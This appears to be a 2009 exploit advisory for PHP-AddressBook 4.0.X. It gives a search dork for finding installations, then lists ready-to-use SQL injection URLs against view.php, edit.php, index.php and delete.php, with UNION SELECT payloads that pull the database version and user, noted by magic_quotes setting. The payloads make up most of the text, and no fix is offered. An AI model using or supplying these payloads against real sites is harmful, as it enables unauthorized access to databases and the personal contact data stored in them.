--------------------------------------------------------------------=0D
MULTIPLE SQL INJECTION VULNERABILITIES --PHP-AddressBook v-4.0.X-->	  =0D
--------------------------------------------------------------------=0D
=0D
CMS INFORMATION:=0D
=0D
-->WEB: http://sourceforge.net/projects/php-addressbook/=0D 
-->DOWNLOAD: http://sourceforge.net/projects/php-addressbook/=0D 
-->DEMO: http://php-addressbook.sourceforge.net/demo/=0D 
-->CATEGORY: Address Book=0D
-->DESCRIPTION: Simple, web-based address & phone book, contact manager & organizer.=0D
		Manage groups, addresses, e-Mails, phone numbers & birthdays...=0D
-->RELEASED: 2009-06-13=0D
=0D
CMS VULNERABILITY:=0D
=0D
-->TESTED ON: firefox 3=0D
-->DORK: "php-addressbook"=0D
-->CATEGORY: SQL INJECTION=0D
-->AFFECT VERSION:  4.0.X=0D
-->Discovered Bug date: 2009-06-16=0D
-->Reported Bug date: 2009-06-16=0D
-->Fixed bug date: N/A=0D
-->Info patch (????): N/A=0D
-->Author: YEnH4ckEr=0D
-->mail: y3nh4ck3r[at]gmail[dot]com=0D
-->WEB/BLOG: N/A=0D
-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.=0D
-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)=0D
=0D
=0D
=0D
=0D
Note about versions: Demo is running release 4.0.1, but I didn't find this version to download ( 4.0 is highest).=0D
=0D
=0D
=0D
#####################=0D
////////////////////=0D
=0D
SQL INJECTION VULN:=0D
=0D
////////////////////=0D
#####################=0D
=0D
=0D
=0D
-----------=0D
EXPLOITS:=0D
-----------=0D
=0D
=0D
=0D
<<<<---------++++++++++++++ Condition: magic quotes=OFF +++++++++++++++++--------->>>>=0D
=0D
=0D
=0D
=0D
[++]http://[HOST]/[PATH]/view.php?id=-999%27+union+select%201,@@version,3,4,5,6,7,8,9,10,11,12,13,14%23=0D 
=0D
=0D
=0D
=0D
[++]http://[HOST]/[PATH]/edit.php?id=-1%27+union+select%201,@@version,user(),4,5,6,7,8,9,10,11,12,13,14%23=0D 
=0D
=0D
=0D
=0D
[++]http://[HOST]/[PATH]/index.php?alphabet=-1%27+union+all+select+1,2,user(),4,5,6,7,8,9,10,11,12,13,14%23=0D 
=0D
=0D
=0D
<<<<---------++++++++++++++ Condition: magic quotes=OFF/ON +++++++++++++++++--------->>>>=0D
=0D
=0D
=0D
=0D
=0D
[++]http://[HOST]/[PATH]/delete.php?id=-1+UNION+ALL+SELECT+1,@@version,user(),4,5,6,7,8,9,10,11,12,13,14%23=0D 
=0D
=0D
=0D
-------------=0D
WATCH VIDEO:=0D
-------------=0D
=0D
=0D
=0D
SQLi --> http://www.youtube.com/watch?v=ON5waxZMnbo=0D 
=0D
=0D
=0D
=0D
<<<-----------------------------EOF---------------------------------->>>ENJOY IT!=0D
=0D
=0D
=0D
=0D
=0D
#######################################################################=0D
#######################################################################=0D
##*******************************************************************##=0D
##  SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 ...  ##=0D
##*******************************************************************##=0D
##-------------------------------------------------------------------##=0D
##*******************************************************************##=0D
##              GREETZ TO: SPANISH H4ck3Rs community!                ##=0D
##*******************************************************************##=0D
#######################################################################=0D
#######################################################################